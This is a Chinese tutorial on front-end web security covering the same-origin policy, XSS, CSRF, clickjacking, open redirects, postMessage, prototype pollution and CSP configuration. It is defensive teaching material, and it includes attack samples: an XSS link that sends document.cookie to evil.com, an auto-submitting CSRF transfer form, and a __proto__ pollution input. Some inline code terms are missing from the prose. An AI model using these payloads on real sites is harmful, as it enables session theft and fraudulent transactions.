前端早已不只是"切图"。用户最先接触的页面就是攻击面:一处 用错、一个 Cookie 少写了 ,就可能把会话凭据、甚至整个账号交到攻击者手里。本文从同源策略出发,把 XSS、CSRF、点击劫持 三大高频漏洞的成因、利用链与防御一次讲透,并附上可直接落地的 CSP 配置与速查清单。
一、先看懂浏览器同源策略
同源 = 协议 + 域名 + 端口,三者完全一致。这是浏览器安全的基石,它的核心作用是:限制一个源的脚本读取另一个源的资源。
| 操作 | 是否受同源策略限制 | 说明 |
|---|---|---|
| 发送跨域请求(表单 / img / script) | 否 | 可以"发出",只是默认读不到响应 |
| 读取跨域 AJAX 响应 | 是 | 需目标站 CORS 显式放行 |
| 读取跨域 iframe 的 DOM | 是 | 需同源或 postMessage |
| 设置/读取跨域 Cookie | 受限 | 受 SameSite、Domain、Secure 约束 |
关键认知:同源策略拦截"读取",不拦截"发送"。正因为如此, 这类请求能"发出去"——这就是 CSRF 能成立的根因。
二、XSS:跨站脚本注入
XSS 的本质是:把攻击者可控的内容,当作代码在当前页面执行。
2.1 三种类型与差异
| 类型 | 触发位置 | 典型载荷入口 | 是否持久化 |
|---|---|---|---|
| 存储型 | 页面渲染时执行 | 评论、昵称、文章正文 | ✅ 持久存在数据库 |
| 反射型 | 请求参数直接回显 | 搜索词、错误提示 | ❌ 随请求消失 |
| DOM 型 | 前端 JS 写入 DOM | location.hash、innerHTML |
❌ 不经过服务端 |
2.2 一条典型的利用链
// ❌ 危险:把 URL 参数直接塞进 innerHTML
const keyword = new URLSearchParams(location.search).get('q');
document.querySelector('#result').innerHTML = `搜索:${keyword}`;
// 攻击者构造的链接:
// https://demo.com/?q=<img src=x onerror=fetch('//evil.com/c?c='+document.cookie)>
只要用户点开这行链接,Cookie 就会被打包发往攻击者服务器。
2.3 现代防御:不靠"过滤关键字"
① 输出编码要"看上下文"
| 输出位置 | 正确做法 |
|---|---|
| HTML 文本 | 转义 < > & " ' |
| HTML 属性 | 值必须加引号 + 转义 |
| JS 变量 | 用 JSON.stringify 序列化 |
| URL 参数 | encodeURIComponent |
② 富文本用白名单净化,而不是正则
import DOMPurify from 'dompurify';
// 白名单净化:只保留安全标签与属性
const dirty = '<img src=x onerror=alert(1)><b>正常加粗</b>';
const clean = DOMPurify.sanitize(dirty, {
ALLOWED_TAGS: ['b', 'i', 'a', 'p', 'br', 'ul', 'li'],
ALLOWED_ATTR: ['href', 'title', 'target'],
});
document.querySelector('#content').innerHTML = clean;
③ 杜绝"字符串拼 HTML",优先用安全 API
// ✅ 文本一律用 textContent
el.textContent = keyword;
// ✅ 结构用 createElement + append
const a = document.createElement('a');
a.setAttribute('href', safeUrl);
a.textContent = label;
④ 开启 Trusted Types(浏览器级兜底)
Content-Security-Policy: require-trusted-types-for 'script'; trusted-types default dompurify
开启后,任何把未经 Trusted Types 包装的字符串赋给 innerHTML、eval、script.src 的行为都会被浏览器直接拦截,从根上堵死 DOM 型 XSS。
⑤ Cookie 加 HttpOnly,让脚本根本读不到会话 Cookie:
Set-Cookie: SESSION=abc123; HttpOnly; Secure; SameSite=Lax; Path=/
三、CSRF:跨站请求伪造
CSRF 与 XSS 相反:攻击者不需要注入脚本,而是借用你已登录的 Cookie,在你的身份下发起"你不知情"的请求。
3.1 攻击长什么样
用户登录银行后未退出,访问了恶意页面,页面里藏着:
<!-- 一个自动提交的隐藏表单,冒充用户转账 -->
<form action="https://bank.com/transfer" method="POST" id="f">
<input name="to" value="attacker">
<input name="amount" value="10000">
</form>
<script>document.getElementById('f').submit()</script>
浏览器会自动带上 bank.com 的 Cookie,服务端看不出这是伪造请求。
3.2 四层防御(建议叠加)
① SameSite Cookie —— 成本最低的第一道闸
Set-Cookie: SESSION=abc123; HttpOnly; Secure; SameSite=Lax
| 取值 | 跨站场景是否带 Cookie | 适用 |
|---|---|---|
Strict |
❌ 一律不带 | 后台管理、支付 |
Lax(默认) |
仅安全的顶级导航(GET)带 | 大多数站点推荐 |
None |
✅ 带(必须配 Secure) |
需要跨站嵌入的登录态 |
② CSRF Token —— 无状态服务端的双保险
// 服务端下发随机 token(存 Session 或签名),前端放入请求头
fetch('/api/transfer', {
method: 'POST',
headers: {
'Content-Type': 'application/json',
'X-CSRF-Token': getCookie('csrf_token'), // 或从 meta 标签读取
},
body: JSON.stringify(payload),
});
服务端校验:请求头里的 token 必须与会话中的一致。攻击者的站点读不到你的 token(受同源策略限制),因此伪造请求注定失败。
③ 校验 Origin / Referer
# nginx:对状态改变类请求校验来源
set $origin_ok 0;
if ($http_origin ~* "^https://(www\.)?demo\.com$") { set $origin_ok 1; }
if ($request_method !~ ^(GET|HEAD)$) {
if ($origin_ok = 0) { return 403; }
}
④ 关键操作二次验证:转账、改密、支付等高风险动作,追加短信/密码/生物识别确认,让"静默伪造"无法完成。
CSRF 的现代共识: + CSRF Token + Origin 校验 三件套叠加,即可覆盖绝大多数场景;纯前端 SPA 一定要把 Token 放在请求头而不是 URL 或表单里。
四、点击劫持:看不见的"透明层"
攻击者把你的页面用 iframe 嵌进自己的页面,再叠一层透明按钮,诱导用户点击——用户以为在领红包,实际点的是你的"确认转账"。
| 防御手段 | 指令 | 评价 |
|---|---|---|
X-Frame-Options |
DENY / SAMEORIGIN |
老牌,兼容好,但只能整站粒度 |
CSP frame-ancestors |
'none' / 'self' + 域名 |
现代推荐,可精细到来源 |
| frame-busting JS | if (top !== self) top.location = self.location |
弱,可被双 iframe 绕过 |
Content-Security-Policy: frame-ancestors 'none';
X-Frame-Options: DENY
两点常被忽略: 会覆盖 ,两者同时配置时以 CSP 为准;如果你的站点需要被可信站点嵌入,请用 精确放行,而不是直接开放。
五、三类同样危险、却常被忽视的风险
5.1 开放重定向
// ❌ 直接跳转到参数指定地址,可被用于钓鱼
location.href = new URLSearchParams(location.search).get('redirect');
// ✅ 白名单校验,只允许站内路径或受信域名
const WHITELIST = ['/home', '/profile', 'https://trusted.com'];
const target = new URLSearchParams(location.search).get('redirect');
if (WHITELIST.some(w => target?.startsWith(w))) location.href = target;
5.2 postMessage 未校验来源
// ❌ 任何页面都能给你发消息并操控页面
window.addEventListener('message', e => doSomething(e.data));
// ✅ 校验 origin,并限定 targetOrigin
window.addEventListener('message', e => {
if (e.origin !== 'https://trusted.com') return;
doSomething(e.data);
});
iframe.contentWindow.postMessage(data, 'https://trusted.com'); // 指定目标源
5.3 依赖供应链与原型污染
前端项目动辄上千个 npm 包,一次投毒就能波及所有用户。
# 定期审计与自动修复
npm audit
npm audit fix
# 锁定版本,避免引入"漂移"的间接依赖
npm ci
// ❌ 合并对象时不设防,可被 __proto__ 污染全局原型
function merge(target, src) { for (const k in src) target[k] = src[k]; return target; }
// 输入 { "__proto__": { "isAdmin": true } } 会污染 Object.prototype
// ✅ 过滤危险键
function safeMerge(target, src) {
for (const k of Object.keys(src)) {
if (k === '__proto__' || k === 'constructor' || k === 'prototype') continue;
target[k] = src[k];
}
return target;
}
六、CSP 落地实战:从"只上报"到"强制拦截"
CSP(内容安全策略)是前端的"最后一道总闸",能在 XSS 已经发生时限制脚本执行与数据外带。
第一步:先用 Report-Only 只上报,观察不拦截
Content-Security-Policy-Report-Only: default-src 'self'; report-uri /csp-report
第二步:确认无大规模误报后,转为强制策略
add_header Content-Security-Policy "
default-src 'self';
script-src 'self' 'nonce-RANDOM_PER_REQUEST';
style-src 'self' 'unsafe-inline';
img-src 'self' data: https:;
connect-src 'self' https://api.demo.com;
frame-ancestors 'none';
base-uri 'self';
form-action 'self';
object-src 'none';
report-uri /csp-report;
" always;
上线 CSP 的三个坑:① 尽量别用 ,改用每次请求随机的 ;② 灰度期间务必保留 一段时间收集误报;③ 内联事件()会被 CSP 干掉,需提前迁移到 。
七、前后端安全速查清单
| 风险 | 前端负责 | 后端 / 运维负责 |
|---|---|---|
| XSS | 上下文输出编码、DOMPurify、Trusted Types | 存储前净化、CSP 响应头 |
| CSRF | 请求头带 Token、校验响应 | SameSite Cookie、Token 校验、Origin 校验 |
| 点击劫持 | — | frame-ancestors / X-Frame-Options |
| 开放重定向 | 跳转白名单 | 服务端二次校验 |
| postMessage | 校验 origin / 指定 targetOrigin |
— |
| 依赖供应链 | npm audit / npm ci |
私有源、签名校验 |
| 原型污染 | 过滤 __proto__ 等危险键 |
入参 schema 校验 |
安全没有"银弹",只有纵深防御:编码是第一道、CSP 是第二道、Cookie 属性是第三道。任何单点防护都可能被绕过,叠加起来才可靠。
如果把这篇的要点浓缩成一句话:永远不要信任用户输入,也永远不要信任前端过滤——服务端才是最终防线,但前端要做好自己那道门。